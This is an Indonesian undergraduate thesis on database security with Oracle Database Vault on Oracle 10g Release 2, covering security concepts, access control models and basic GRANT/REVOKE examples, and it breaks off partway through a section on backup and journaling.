STUDI IMPLEMENTASI KEAMANAN BASIS DATA DENGAN

advertisement
STUDI IMPLEMENTASI KEAMANAN BASIS DATA
DENGAN DATABASE VAULT
PADA ORACLE DATABASE 10G RELEASE 2
Laporan Tugas Akhir
Diajukan Untuk Melengkapi Salah Satu Syarat
Memperoleh Gelar Sarjana Komputer
Oleh:
RETNO MAROETI
4150411-061
PROGRAM STUDI TEKNIK INFORMATIKA
FAKULTAS ILMU KOMPUTER
UNIVERSITAS MERCU BUANA
JAKARTA
2009
BAB I
PENDAHULUAN
1.1
Latar Belakang
Keamanan basis data adalah mekanisme yang melindungi basis data dari
ancaman yang disengaja maupun tidak disengaja. Keamanan tidak hanya untuk
data pada basis data saja, kegagalan keamanan juga berakibat pada bagian lain
dari sistem yang pada akhirnya berakibat pada basis data. Sehingga keamanan
basis data juga merupakan keamanan pada hardware, software, orang dan data.
1.2
Identifikasi Masalah
Kebutuhan akan keamanan basis data bersifat dinamis, praktek dan
teknologi baru terus-menerus menyediakan arena bagi exploitasi unauthorized,
dan juga cara-cara baru penyalahgunaan untuk mempengaruhi bahkan juga
terhadap lingkungan dan produk yang telah stabil. Evolusi yang terjadi saat ini
melibatkan lingkungan kultural dan teknologi yang berubah secara global, dimana
perhatian terhadap keamanan perlu mempengaruhi baik dari penggunaan solusi
yang telah ada maupun pengembangan hal-hal baru.
Jenis penyalahgunaan basis data baik yang tidak disengaja maupun disengaja:
a.
Tidak disengaja
-
Kerusakan selama proses transaksi.
-
Anomali yang disebabkan oleh akses database yang konkuren.
1
2
-
Anomali yang disebabkan oleh pendistribusian data pada beberapa
komputer.
-
Logika
error
yang
mengancam
kemampuan
transaksi
untuk
mempertahankan konsistensi basis data.
b.
Disengaja
-
Pengambilan data / pembacaan data oleh pihak yang tidak berwenang
-
Perubahan data oleh pihak yang tidak berwenang.
-
Penghapusan data oleh pihak yang tidak berwenang.
Berikut ini adalah pengelompokan isu-isu keamanan berdasarkan kategori,
sebagai usaha untuk menciptakan operasi secure didalam lingkungan yang secure:
-
Fisik
Komputer harus dibuat tak bisa diakses secara fisik dari pemakai yang
tidak berwenang dengan menempatkannya di dalam lingkungan yang
terjamin.
-
Personel
Pihak yang bertanggungjawab bagi keamanan fisik, administrasi sistem,
dan keamanan data harus terpercaya.
-
Prosedural
Prosedur dan kebijakan yang dipergunakan dalam operasi pada sistem
harus menjamin data yang reliable (terpercaya). Dengan memisahkan
role-role fungsional dari pemakai di dalam manajemen data. Sebagai
contoh, satu orang bertanggungjawab untuk backup database. Rolenya
hanyalah
memastikan
database
up
dan
jalan.
Orang
lain
bertanggungjawab untuk pelaporan aplikasi menyangkut data daftar gaji
3
atau data penjualan. Kewajibannya memeriksa data dan memverifikasi
integritasnya. Membuat kebijakan yang melindungi tabel dan schema
terhadap pengguna unauthorized maupun malicious.
-
Teknikal
Penyimpanan, akses, manipulasi, dan transmisi data harus betul-betul
dijaga dengan teknologi yang menegakkan kebijakan kontrol informasi.
Pencegahan gangguan keamanan dari luar pada basis data telah banyak
diterapkan dimulai dari penggunaan firewall, aplikasi anti spam e-mail, anti
spyware, anti virus dan masih banyak lagi.
Namun bagaimana dengan ancaman dari pihak dalam pada basis data,
kemungkinan adanya karyawan yang tak setia atau korup. Salah satu cara untuk
mengantisipasi gangguan seperti tersebut diatas dapat menggunakan oracle
database 10g release 2 yang yang menyediakan semua fasilitas untuk
pengamanan data antara lain :
-
Virtual Private Database Row level security
Membuat akses berdasarkan fungi kerja dengan, klasifikasi hari atau jam
penggunaan basis data, mendukung customizable, policy-based akses
control down ke level baris untuk menjalankan keamanan dan privasi data.
Kebijakan dirancang programmatically ditambahkan ke database object
(table, view), sehingga kebijakan dapat dijalankan tanpa memperhatikan
metode akses. Hal ini mengurangi masalah keamanan aplikasi serta
menyediakan penggabungan basis data serta melindungi pemisahan dari
individual set
-
PL/SQL Encryption Package
4
Memberi kemudahan dalam penggunaan dan mendukung algoritmaalgoritma pada sistem
-
Fine Grained Auditing
Dapat memperkecil kesalahan dalam audit atau audit yang yang sulit
dengan menspesifikasi kondisi audit yang diinginkan
Dan untuk lebih meningkatkan pengamanan dari basis data yang telah ada,
terdapat database vault yang merupakan mekanisme tambahan dari oracle
database 10g. Pengamanan untuk memproteksi aplikasi data dari akses DBA,
proteksi struktur database dari perubahan secara ilegal, akses kontrol secara
dinamis dan fleksibel sesuai dengan permintaan pengamanan.
Apakah dengan integrasi antara oracle database 10g dengan database
vault dapat dapat mendeteksi semua aktivitas pada basis data, memproteksi basis
data dari user yang tidak berhak dan memberikan laporan untuk proses audit perlu
analisa yang lebih mendalam.
1.3
Tujuan Penulisan
Tujuan dari pembuatan tugas akhir ini adalah:
Menganalisa kinerja dan mengkonfigurasi penggabungan keamanan oracle
database 10g itu sendiri dengan database vault dalam mekanisme keamanan basis
data. Apakah dengan integrasi antara oracle database 10g dengan database vault
dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari
user yang tidak berhak dan memberikan laporan untuk proses audit.
5
1.4
Pembatasan Masalah
Masalah yang akan dibatasi dalam penyusunan tugas akhir ini adalah
analisa dan implementasi keamanan basis data dengan database vault pada oracle
database 10g dengan menggunakan sistem operasi Red Hat Entreprise Linux 4
Laporan Tugas Akhir hanya menekankan pada hal-hal berikut:
1.
Analisa keamanan basis data yang dimiliki oleh oracle database
10g dan database vault dapat mendeteksi semua aktivitas pada
basis data, memproteksi basis data dari user yang tidak berhak dan
memberikan laporan untuk proses audit.
1.5
2.
Konfigurasi database vault.
3.
Pengujian dan implementasi database vault.
4.
Basis data yang digunakan adalah oracle database 10g release 2.
5.
Tidak membahas physical security database.
Metodologi Penelitian
1.5.1 Metodologi Pengumpulan Data
Cara pengumpulan data sebagai materi penyusunan Tugas Akhir
ini adalah sebagai berikut:
Metode Studi Literatur
Metode Studi Literatur adalah cara pengumpulan data dengan
menggunakan semua referensi yang berkaitan dengan pembuatan
tugas akhir untuk memperoleh data-data yang dikehendaki,
6
sehingga dapat dijadikan acuan dalam penulisan laporan tugas
akhir ini.
1.5.2 Analisa
Menganalisa keamanan basis data pada oracle database 10g dan
database vault dengan membuat skenario-skenario masalah yang
dapat mengganggu keamanan basis data.
1.5.3 Konfigurasi
Konfigurasi database vault pada oracle database 10g dan cara upgrade/patch dari oracle database 10g enterprise edition release
10.2.0.1.0 menjadi 10.2.0.4.0 karena database vault hanya bisa
berjalan pada platform tersebut atau lebih tinggi.
1.5.4 Implementasi dan Pengujian
Membuat pengujian dan implementasi dari database vault yang
telah dikonfigurasi sebelumnya dengan menggunakan skenarioskenario masalah yang telah dibuat sebagai bahan untuk menguji.
7
1.6
Sistematika Penulisan
Untuk mempermudah penyusunan dan menganalisa Tugas Akhir, maka
digunakan sistematika laporan sebagai berikut :
BAB I
PENDAHULUAN
Bab ini menjelaskan tentang latar belakang masalah, dasar
pemilihan judul, tujuan dan kegunaan Tugas Akhir, pembatasan
masalah, metodologi penelitian dan sistematika penulisan.
BAB II
LANDASAN TEORI
Bab ini membahas tentang teori yang menjadi dasar pembahasan,
antara lain: pengertian data, informasi, basis data, struktur oracle
database 10g, keamanan oracle database 10g, database vault.
BAB III
ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE
VAULT
Bab ini mejelaskan tentang analisa kebutuhan dan konfigurasi dari
database vault dan oracle database 10g
BAB IV
IMPLEMENTASI DAN PENGUJIAN
Bab ini menjelaskan tentang implementasi dan pengujian dari hasil
analisa dan konfigurasi yang ada.
BAB V
PENUTUP
Bab ini merupakan bagian terakhir dalam penulisan Tugas Akhir
yang berisi kesimpulan dan saran yang didasarkan atas uraian pada
bab-bab sebelumnya
BAB II
LANDASAN TEORI
2.1
Pengertian Data
Pada umumnya para pakar mendefinisikan data sesuai dengan bidang
ilmunya masing-masing sehingga:
-
Data adalah deskripsi dari benda-benda dan kejadian - kejadian yang
selalu kita hadapi sehari-hari.
-
Data dalah sekumpulan deskripsi dari benda-benda (resources) dan
kejadian-kejadian (transaksi-transaksi) yang selalu berinteraksi.
-
Data adalah kumpulan dari fakta-fakta berupa simbol, lambang, huruf,
gambar.
2.2
Pengertian Informasi
Menurut para ahli, pengertian informasi adalah sebagai berikut :
a.
Jogiyanto HM (2001,h8) :
Informasi adalah data yang diolah menjadi bentuk yang lebih
berguna dan lebih berarti bagi yang menerimanya.
b.
Gordon B. Davis (1993,P6) :
Informasi adalah suatu data yang telah diolah menjadi bentuk yang
berarti bagi si penerima dan bermanfaat dalam pengambilan
keputusan saat ini atau akan datang.
8
9
Sumber dari informasi adalah data, yang merupakan keyataan yang
menggambarkan suatu kejadian dan kesatuan nyata. Data merupakan
bentuk yang masih mentah (raw) yang masih belum mampu bercerita
banyak, sehingga untuk menjadi informasi data harus diolah terlebih
dahulu.
Kualitas dari suatu informasi tergantung pada tiga hal pokok, yaitu :
a.
Keakuratan
Informasi yang dihasilkan harus tepat, jelas dan mencerminkan
permasalahan yang dihadapi (tidak menyesatkan).
b.
Ketepatan
Informasi yang diterima tidak terlambat. Keterlambatan informasi
dapat mengakibatkan nilai dari informasi tersebut akan berkurang.
c.
Relevansi
Informasi yang dihasilkan harus bermanfaat dan sesuai dengan apa
yang dibutuhkan oleh pemakai.
Dari pendapat-pendapat yang telah dikemukakan diatas, penulis dapat
menarik sebuah kesimpulan bahwa yang dimaksud dengan informasi itu sendiri
adalah “Kumpulan data yang harus diolah terlebih dahulu sehingga bermanfaat
bagi pemakainya dalam mencapai suatu tujuan atau hasil tertentu.”
2.3
Pengertian Database
Dalam beberapa literature basis data telah didefiniskan dengan cara yang
berbeda-beda,salah satunya yang cukup lengkap adalah diberikan oleh James
10
Martin (1975) yaitu : “ A database may be defined as a collection of interrelated
data stored together without harmful or unnecessary redundancy to serve one
more application in an optimal fashion; the data are stored so that they are
independent of program with use the data; common and controlled approach its
use in adding new data and in modifying and retrieving existing data within the
database”
Sekumpulan data yang terhubung yang disimpan secara bersama-sama
dalam suatu media, tanpa kerangkapan data (kalaupun ada kerangkapan data
tersebut seminimal
mungkin dan terkontrol, data disimpan dengan cara-cara
tertentu, sehingga mudah untuk digunakan, atau ditampilkan kembali dan dapat
digunakan lebih dari program aplikasi secara optimal, data disimpan tanpa
mengalami ketergantungan yang menggunakan sehingga proses penambahan,
pengambilan dan modifikasi dapat dilakukan dengan mudah serta terkontrol.
Karakteristik utama basis data adalah:
a.
Merepresentasikan aspek dari dunia nyata,
b.
Terstruktur dengan baik,
c.
Dapat merepresentasikan kondisi saat ini (current state)
d.
Ada penggunanya dan ada aplikasi,
e.
Disimpan dalam memori komputer secara permanen, dan
f.
Dapat diakses dan dimanipulasi menggunakan DBMS
11
2.3.1 Database Manajemen Sistem (DBMS)
DBMS adalah koleksi terpadu dari basis data dan programprogram komputer (utilitas) yang digunakan untuk mengakses dan
memelihara basis data.
Pengelolaan manajemen basis data antara lain:
-
Pendefinisian struktur penyimpanan.
-
Penyedian mekanisme untuk manipulasi informasi.
-
Penyediaan keamanan dalam penarikan dan penyimpanan data dan
informasi.
Bahasa dalam DBMS :
-
Data Definition Language (DDL)
DDL berfungsi untuk mendefinisikan data seperti membuat tabel,
membuat index tabel dan modifikasi tabel. Hasil perintah dari DDL
adalah suatu set dari tabel-tabel yang disimpan dalam file khusus
yang di sebut data dictionary. Perintah-perintah yang termasuk
dalam kategori ini adalah CREATE, ALTER, DROP, RENAME
dan TRUNCATE.
-
Data Manipulation Language (DML)
DML
merupakan
bahasa
DBMS
yang
berfungsi
untuk
memanipulasikan dan mengambil data dari dan ke suatu database
manajemen sistem. Perintah-perintah yang termasuk dalam
kategori ini adalah INSERT, UPDATE dan DELETE.
12
Dalam DML ada dua tipe yaitu :
a. Prosedural: Type ini menuntut pemakai untuk memsepesifikasi
data apa yang akan digunakan dan bagaimana mendapatkan
data tersebut.
b. Non
Prosedural:
Type
ini
memsepesifiasikan
data
apa
menuntut
yang
pemakai
untuk
dibutuhkan
tanpa
menspesifikasikan bagaimana mendapatkan.
-
Data Control Language (DCL)
DCL berfungsi untuk melakukan keamanan database. Perintahperintah yang termasuk dalam kategori ini adalah GRANT dan
REVOKE.
2.3.2 Kegunaan Basis Data
a.
Penyusunan suatu database digunakan untuk mengatasi jika
file dalam program aplikasi diciptakan oleh programmer yang
berbeda pada waktu yang berselang cukup panjang, maka ada
beberapa bagian data mengalami penggandaan pada file-file
yang berbeda.
b.
Kesulitan dalam pengaksesan data
Kesulitan yang timbul dalam pengaksesan data, penyelesaian
untuk itu adalah kearah DBMS yang mampu mengambil data
secara langsung dengan bahasa yang familiar dan mudah
digunakan (user friendly).
c.
Isolasi data untuk Standarisasi
13
Jika data tersebar dalam beberapa file dalam bentuk format
yang tidak sama, maka ini menyulitkan dalam menulis
program aplikasi untuk mengambil dan menyimpan data.
Maka haruslah data dalam suatu database dibuat satu format
sehingga mudah dibuat program aplikasinya.
d.
Banyak Pemakai (multiple user)
Dalam rangka mempercepat semua daya guna sistem dan
mendapat responsi waktu yang cepat, beberapa sistem
mengijinkan banyak pemakai untuk mengupdate data secara
simultan, salah satu alasan mengapa database dibangun
karena nantinya data tersebut digunakan oleh banyak orang
dalam waktu yang berbeda, diakses oleh program yang sama
tetapi berbeda orang dan waktu. Semua ini memungkinkan
terjadi karena data yang diolah tidaklah tergantung dan
menyatu dalam program tetapi ia terlepas dalam satu
kelompok data.
e.
Masalah Keamanan
Tidak setiap pemakai sistem basis data memperoleh akses
semua data. Keamanan ini dapat diatur lewat program yang
dibuat oleh pemprogram atau fasilitas keamanan dari sistem
operasi.
f.
Masalah Kesatuan (Integrity)
Basis data berisi file-file yang saling berkaitan, masalah utama
adalah bagaimana kaitan antara file tersebut terjadi. Meskipun
14
kita mengetahui bahwa file A berkaitan dengan file B, namun
secara teknis maka ada file kunci yang mengaitkan kedua file
tersebut.
g.
Masalah Kebebasan Data (Data Independence)
Paket bahasa yang diciptakan dari DBMS, apapun yang terjadi
pada struktur file, setiap kali kita hendak melihat data cukup
dengan utility list, hendak menambah data cukuplah dengan
APPEND. Ini berarti perintah-perintah dalam paket DBMS
bebas terhadap basis data. Apapun perubahan dalam basis
data, semua perintah akan mengalami kestabilan tanpa perlu
ada yang dirubah.
h.
Kecepatan dan kemudahan (speed)
Agar pengguna basis data dapat menyimpan data, melakukan
perubahan/manipulasi terhadap data, menampilkan kembali
data dengan lebih cepat dan mudah dibandingkan dengan cara
biasa baik manual ataupun elektronik.
i.
Efisiensi ruang penyimpanan
Mampu
melakukan
penekanan
jumlah
redundansi
(pengulangan) data, baik dengan menerapkan sejumlah
pengkodean atau dengan membuat relasi-relasi (dalam bentuk
file) antara kelompok data yang saling berhubungan
j.
Keakuratan (accuracy)
Agar data sesuai dengan aturan dan batasan tertentu dengan
cara memanfaatkan pengkodean atau pembentukan relasi antar
15
data bersama dengan penerapan aturan/batasan (constraint)
tipe data, domain data, keunikan data dsb
k.
Ketersediaan (availability)
Data yang sudah tidak dipakai/kadaluwarsa dipisahkan dari
sistem database yang sedang aktif baik dengan cara
penghapusan atau memindahkannya ke media backup untuk
menghemat ruang penyimpanan. Di sisi lain, juga dilakukan
pemanfaatan teknologi jaringan komputer agar data yang
berada di suatu lokasi/cabang daat juga diakses oleh
lokasi/cabang lainnya.
l.
Kelengkapan (completeness)
Agar data yang dikelola senantiasa lengkap baik relatif
terhadap kebutuhan pemakai maupun terhadap waktu. Untuk
itu tidak hanya dengan melakukan penambahan record-record
data, tapi juga melakukan perubahan struktur pada basis data
(jika perlu) baik menambah field pada tabel ataupun bahkan
menambah tabel baru.
2.4
Keamanan Basis Data
2.4.1. Pengertian Keamanan Basis Data
Proteksi basis data terhadap ancaman/gangguan baik yang
disengaja maupun yang tidak disengaja melalui kendali yang bersifat
teknis maupun administrasi.
16
Menurut Silberschatz (2002, p239) ukuran keamanan yang dapat
diambil untuk melindungi basis data antara lain dari segi:
-
Sistem Basis Data
Ada beberapa pengguna berwenang yang dizinkan untuk
mengakses bagian basis data tertentu dan ada para pengguna yang
lain hanya diizinkan untuk membaca data yang diinginkannya,
tetapi tidak punya hak untuk mengubahnya. Kewajiban dari sistem
basis data ini adalah menjaga batasan seperti di atas tetap terjaga
-
Sistem Operasi
Tidak peduli betapa aman sistem basis datanya, apabila terjadi
kelemahan dalam sistem operasi. Hal ini sama artinya dengan
adanya akses yang tidak diinginkan dalam basis data. Jadi tingkat
keamanan perangkat lunak dalam sistem operasi sangatlah penting
seperti halnya keamanan yang dilakukan secara fisik.
-
Jaringan
Seluruh sistem basis data memperbolehkan untuk mengakses lewat
terminal atau jaringan, keamanan software-level dalam software
jaringan sangat penting sebagai keamanan fisik, keduanya
dibutuhkan dalam internet dan jaringan pribadi.
-
Fisik
Situs yang mengandung sistem komputer harus secara fisik aman
dari entri secara diam-diam dan bahaya oleh para penyelundup.
17
-
Manusia
Autorisasi pada pengguna harus dilakukan secara hati-hati untuk
mengurangi adanya kejadian dimana pengguna yang berwenang
memberikan akses kepada orang lain dengan imbalan suap atau
lainnya.
Secara garis besar keamanan sistem informasi dan komputer dapat
dibagi dua yaitu keamanan secara fisikal dan secara logikal.
-
Fisikal
Secara fisik berarti bagaimana mengamankan semua infrastruktur
peralatan sistem keamanan baik dari sisi server, ruangan, kabel,
system backup redundant system, system cadangan power listrik
dan lain-lain.
-
Logikal
Keamanan secara logikal tentang metode keamanan seperti
protocol yang digunakan, metode komunikasi datanya, model basis
datanya dan sistem operasinya.
Aspek keamanan seringkali ditinjau dari:
-
Confidentiality
-
Integrity
-
Availability
-
Non-Repudiation
Merupakan aspek yang sangat penting dalam transaksi elektronik.
Aspek non-repudiation menjamin bahwa pelaku transaksi tidak
dapat mengelak atau menyangkal telah melakukan transaksi
18
-
Standar pengamanan
-
Evaluasi secara berkala
Keamanan basis data berkaitan dengan situasi sebagai berikut:
-
Pencurian (theft dan fraud.)
-
Kehilangan kerahasiaan (loss of confidentiality dan privacy).
Kerahasiaan dapat diartikan sebagai perlindungan terhadap data
dalam sistem informasi perusahaan, sehinggga tidak dapat diakses
oleh orang yang tidak berhak. Banyak yang beranggapan bahwa
tipe perlindungan seperti ini hanya penting untuk kalangan militer
dan pemerintahan, dimana mereka perlu merahasiakan rencana dan
data penting. Akan tetapi kerahasian juga sangat penting bagi
kalangan bisnis yang perlu melindungi rahasia dagang mereka dari
kompetitor, atau untuk mencegah akses terhadap data-data yang
dianggap sensitive oleh orang-orang yang tidak berhak didalam
perusahaan.
-
Kehilangan integritas (loss of integrity)
Integritas adalah perlindungan terhadap dalam sistem dari
perubahan yang tidak terotorisasi, baik secara sengaja maupun
secara tidak sengaja.Tantangan yang dihadapi setiap sistem
keamanan informasi adalah untuk memastikan bahwa data
terpelihara dalam keadaan yang sesuai dengan harapan dari user.
Walau tidak dapat meningkatkan akurasi dari data yang dimasukan
kedalam
sistem
oleh
user,
inisiatif
keamanan
informasi
19
memastikan bahwa setiap perubahan memang benar-benar
dikehendaki dan dilakukan secara benar.
-
Kehilangan ketersediaan (loss of availability).
Ketersediaan ini dapat diartikan sebagai kepastian bahwa sebuah
sistem informasidapat diakses oleh user yang berhak kapan saja
sistem informasi tersebut dibutuhkan.
Pengertian ancaman (threat), kerentanan (vulnerability), resiko
(risk) dan akibat (exposure) pada keamanan basis data.
-
Ancaman (threat )
Situasi, potensi atau kejadian baik di sengaja maupun tidak, yang
dapat mempengaruhi sistem dan organisasi.
Tabel 2.1 Ancaman terhadap security database
Ancaman
Menggunakan akses
orang lain
Alterasi Program
Kebijaksanaan dan
prosedur yang tidak
memadai yang
mengijinkan
tercampurnya output yang
biasa dan rahasia
Wire Taping
Entri ilegal oleh hacker
Pemerasan (blackmail )
Membuat pintu jebakan
pada sistem
Pencurian data, program
dan peralatan
Kegagalan mekanisme
keamanan, memberikan
akses melebihi normal
Theft
and
Fraud

Loss of
Confidentiality

Loss of
Privacy
Loss of
Integrity
Loss of
Availability


























20
Tabel 2.1 Ancaman terhadap security database (lanjutan)
Ancaman
Theft
and
Fraud
Pengurangan pegawai
(phk) atau mogok kerja
Pelatihan staff yang
kurang memadai
View dan disclosed data
rahasia
Gangguan elektronik dan
radiasi
Data rusak karena listrik
padam
Kebakaran
Kerusakan fisik pada
peralatan
Kabel rusak atau putus
Virus

Loss of
Confidentiality
Loss of
Privacy




Loss of
Integrity
Loss of
Availability
















Berikut ini adalah pengelompokan ancaman pada sistem komputer
berdasarkan kategori:
1.
Perangkat keras: kebakaran, banjir, bom, pencurian, listrik, gempa,
radiasi, kesalahan mekanisme keamanan.
2.
Jaringan komunikasi: kabel yang tidak terkoneksi, radiasi.
3.
Database: aturan/amandemen yang tidak diotorisasi, penduplikatan
data, pencurian data, kehilangan data akibat gangguan listrik
4.
DBMS dan Program Aplikasi: kesalahan mekanisme keamanan,
akses yang terlalu luas, pencurian program, kesalahan program.
5.
Pengguna akhir (end user): menggunakan hak akses orang lain,
melihat dan menutup data yang tidak diotorisasi, staf tidak
ditraining, pemasukan data yang dilakukan oleh yang tidak berhak,
virus, pemerasan.
21
6.
Programer/operator: membuat password, membuat program yang
tidak aman, staf yang tidak ditraining, kebijakan keamanan dan
prosedur, pemogokan staf.
7.
Database administrator : kebijakan keamanan & prosedur
-
Kerentanan (vulnerability)
Software, hardware atau prosedur yang lemah sebagai pintu bagi
para penyerang. Hal yang rentan dapat berupa servis pada server
yang sedan berjalan, modem dial-in akses yang tidak dibatasi,
terbukanya port pada firewall, kurangnya keamanan fisik sehingga
semua orang dapat masuk ruang server, kurang kuatnya
manajemen password pada server dan workstation.
-
Resiko (risk)
Kemungkinan kehilangan, ancaman yang mengeksploitasi hal yang
rentan, seperti firewall yang memiliki banyak port memiliki resiko
yang lebih tinggi untuk diserang pengganggu.
-
Kerugian (exposure )
Contoh dari sesuatu yang hilang karena ancaman, seperti
manajemen dan prosedur dari akses pengguna yang kurang
sehingga dapat digunakan oleh pihak lain yang menyebabkan
organisasi mengalami kerugian.
22
Berikut ini adalah hubungan antar komponen keamanan
membuat
Threats
Agents
mengeksploitasi
Ancaman
(threats)
menjadi
Kerentanan
(vulnerability)
Resiko
(risk)
secara
langsung
berakibat pada
Aset
dapat merusak
Kerugian
(exposure)
Tindakan
pertahanan
(safe guard)
menyebabkan
dapat diantisipasi oleh
Gambar 2.1 Hubungan komponen keamanan
[Referensi:CISSP Certification Guide,2007]
2.4.2. Pengendalian Keamanan
Pengendalian keamanan berbasis komputer yang telah banyak
digunakan antara lain:
-
Autorisasi (authorization)
Pemberian hak yang memungkinkan seseorang secara sah
mengakses sistem atau objek (tabel, view, aplikasi, prosedur, objek
lain dalam sistem).
Kendali autorisasi (kontrol akses) dapat dibangun pada perangkat
lunak dengan 2 fungsi:
1.
Mengendalikan sistem atau obyek yang dapat diakses.
2.
Mengendalikan bagaimana pengguna menggunakannya.
23
Teknik kontrol akses yang sering digunakan:
Mandatory access control
Memberikan sebuah label keamanan terhadap semua subyek
dan obyek yang ada dalam sebuah sistem
Tabel 2.2 Klasifikasi data komersial
Clasification
Description
Public
Data tidak di lindungi dimanapun
Informasi bisa berpengaruh terhadap bisnis dan
Sensitive
kepercayaan
public jika tidak dilindungi dengan baik
Informasi personal yang bisa berakibat negatif
Private
terhadap
seseorang jika bocor
Informasi perusahaan yang bisa berakibat negatif
Confidential
terhadap
organisasi jika bocor
Directional access control
Mempergunakan identitas dari subyek untuk menentukan
apakah permintaan akses tersebut akan dipenuhi atau di tolak.
Metode ini lebih mudah di implementasikan dan lebih
fleksibel.
Setiap
obyek
memiliki
permissions,
yang
menentukan user atau group yang bisa melakukan akses
terhadap obyek.
Non-discretionary access control
Tipe kontrol akses ini cocok dipakai pada kasus high
turnover atau reassginments. Ketika security di asosiasikan
kedalam sebuah role atau task, mengganti orang yang
mengerjakan tugas membuat security administration lebih
mudah.
24
Penentuan administrasi kontrol akses:
Centralized access control
Memerlukan sebuah pusat keamanan yang bisa menentukan
apakah sebuah permintaan akan disetujui atau ditolak.
Pendekatan ini sangat mudah karena obyek hanya di pelihara
pada lokasi yang tunggal. Salah satu kelemahannya adalah
central access control bisa menjadi sebuah single point of
failure. Jika central access control rusak, maka semua obyek
tidak akan bisa diakses. Dampak negatif yang lainnya adalah
dalam masalah perfomance, jika sistem tidak bisa memenuhi
semua permintaan dari user
Decentralized access control
Meletakan tanggung jawab dari lebih dekat terhadap obyek.
Pendekatan ini memerlukan lebih banyak administrasi
daripada centralized access control karena sebuah obyek
mungkin saja memerlukan kondisi yang sangat aman pada
lokasi tertentu. Tapi hal ini bisa lebih stabil karena tidak ada
Single Point Of Failure. Decentralized Access Control
biasanya diimplementasikan memakai security domain.
Security domain adalah bagian sebuah kepercayaan, atau
koleksi dari obyek dan subyek, yang mendefinisikan access
rule dan permisions. Subyek harus termasuk dalam domain
tersebut.
Pendekatan
ini
bisa
memudahkan
untuk
mengeluarkan subyek yang dicurigai, tetapi bisa membuat
25
administrasi secara umum lebih sulit karena berbagai macam
variasi dari peraturan keamanan.
Model-model akses control
Menyediakan view konseptual dari kebijakan keamanan. Hal
ini akan mengijinkan kita untuk melakukan pemetaan antara tujuan
dan petunjuk dari kebijakan keamanan anda terhadap event yang
spesifik. Proses dari pemetaan ini memungkinkan terbentuknya
definisi formal dan spesifikasi yang diperlukan dalam melakukan
kontrol terhadap keamanan. Singkatnya, access control model
memungkinkan
kompleks
untuk
menjadi
memilah
kebijakan
keamanan
langkah–langkah keamanan
yang
yang
lebih
sederhana dan terkontrol
State Machine Model
Kumpulan dari defined instances, yang disebut state, dan
sebuah transisi yang spesifik yang diijinkan untuk melakukan
modifikasi terhadap obyek dari satu state ke state berikutnya.
State machine sering dipakai untuk real-life entities ketika
state yang spesifik dan transisinya ada dan dimengerti.
Ketika sebuah subyek meminta untuk membaca sebuah
obyek, harus ada sebuah transisi yang mengijinkan untuk
merubah sebuah obyek yang closed menjadi open obyek.
Model Bell-LaPadula
26
Model state machine yang membuat daftar kontrol akses dan
label keamanan untuk mengimplementasikan keamanan
objek.
Model Biba
Dibangun berbasis model state machine dan mendefinisikan
state dan transisi yang berfokus pada integritas data, bukan
kerahasiaan. Fokus utamanya adalah untuk menjamin bahwa
subyek yang tidak memiliki otoritas tidak dapat melakukan
perubahan terhadap obyek.
Model Clark-Wilson
Tidak berbasis pada model state machine. Model ini
menggunakan pendekatan yang berbeda untuk menjamin
integritas data. Model Clark-Wilson tidak melakukan
pemberian akses suatu subjek terhadap obyek, melainkan
memblok semua akses terhadap sejumlah kecil program
akses yang dikontrol secara ketat. Pendekatan ini berhasil
dalam aplikasi komersial dimana integritas data seringkali
lebih penting daripada kerahasiaan data secara keseluruhan.
Model Noninterference
Menjamin bahwa perubahan pada sustu tingkat keamanan
tidak
mengorbankan
level
keamanan
lainnya
dan
mempengaruhi suatu objek dalam konteks yang lain. Dasar
pemikiran dari model noninterference adalah bahwa setiap
tingkatan keamanan memiliki perbedaan dan perubahan tidak
27
akan berpengaruh terhadap tingkatan lain. Jaminan ini
mempersempit cakupan suatu perubahan dan mengurangi
kemungkinan bahwa suatu perubahan memiliki efek samping
yang tidak disengaja. Dengan menutup kemungkinan
modifikasi terhadap tingkatan keamanan tertentu, model ini
dapat memlihara integritas dan kerahasasiaan data.
Autentifikasi
Mekanisme yang menentukan siapakah seseorang tersebut.
Masing-masing pengguna telah diberikan identifikasi unik yang
digunakan sistem operasi untuk menentukan siapakah pengguna
tersebut.
Tabel 2.3 Tipe-tipe autentifikasi
Authentification Type
Description
Type 1
What you know
Type 2
What you have
Examples
Password, passphrase, PIN, lock
combination
Smart card, token device
Biometrics – fingerprint, palm
Type 3
What you are
print, retina/iris pattern, voice
pattern
-
Tabel views
Merupakan metode pembatasan bagi pengguna untuk mendapatkan
model database yang sesuai dengan kebutuhan perorangan. Metode
ini dapat menyembunyikan data yang tidak digunakan atau tidak
perlu dilihat oleh pengguna.
28
Contoh pada database relasional, untuk pengamanan dilakukan
beberapa level:
Relasi, pengguna diperbolehkan atau tidak diperbolehkan
mengakses langsung suatu relasi.
View, pengguna diperbolehkan atau tidak diperbolehkan
mengakses data yang terdapat pada view.
Read Authorization, pengguna diperbolehkan membaca data,
tetapi tidak dapat memodifikasi.
Insert Authorization, pengguna diperbolehkan menambah
data baru, tetapi tidak dapat memodifikasi data yang sudah
ada.
Update Authorization, pengguna diperbolehkan memodifikasi
data, tetapi tidak dapat menghapus data.
Delete Authorization, pengguna diperbolehkan menghapus
data.
Untuk Modifikasi data terdapat autorisasi tambahan:
Index Authorization, pengguna diperbolehkan membuat dan
menghapus index data.
Resource Authorization, pengguna diperbolehkan membuat
relasi-relasi baru.
Alteration Authorization, pengguna diperbolehkan menambah
atau menghapus atribut suatu relasi.
Drop Authorization, pengguna diperbolehkan menghapus
relasi yang sudah ada.
29
Contoh perintah menggunakan SQL :
GRANT : memberikan wewenang kepada pemakai
Syntax : GRANT <priviledge list> ON <nama relasi/view>
TO <pemakai>
Contoh :
GRANT SELECT ON S TO BUDI
GRANT SELECT, UPDATE (STATUS,KOTA) ON S TO
ALI,BUDI
REVOKE : mencabut wewenang yang dimiliki oleh pemakai
Syntax: REVOKE <priviledge list> ON <nama relasi/view>
FROM <pemakai>
Contoh:
REVOKE SELECT ON S TO BUDI
REVOKE SELECT, UPDATE (STATUS,KOTA) ON S TO
ALI,BUDI
Priviledge
list:
READ,
INSERT,
DROP,
DELETE,
ALTERATION, RESOURCE
-
Backup data dan recovery
Backup: proses secara periodik untuk mebuat duplikat dari
database dan melakukan logging file (atau program) ke media
penyimpanan eksternal.
Jurnaling: proses menyimpan dan mengatur log file dari semua
perubahan yang dibuat di database untuk proses recovery yang
efektif jika terjadi kesalahan.
30
Isi Jurnal:
1. Record transaksi
- Identifikasi dari record.
- Tipe record jurnal (transaksi start, insert, update, delete,
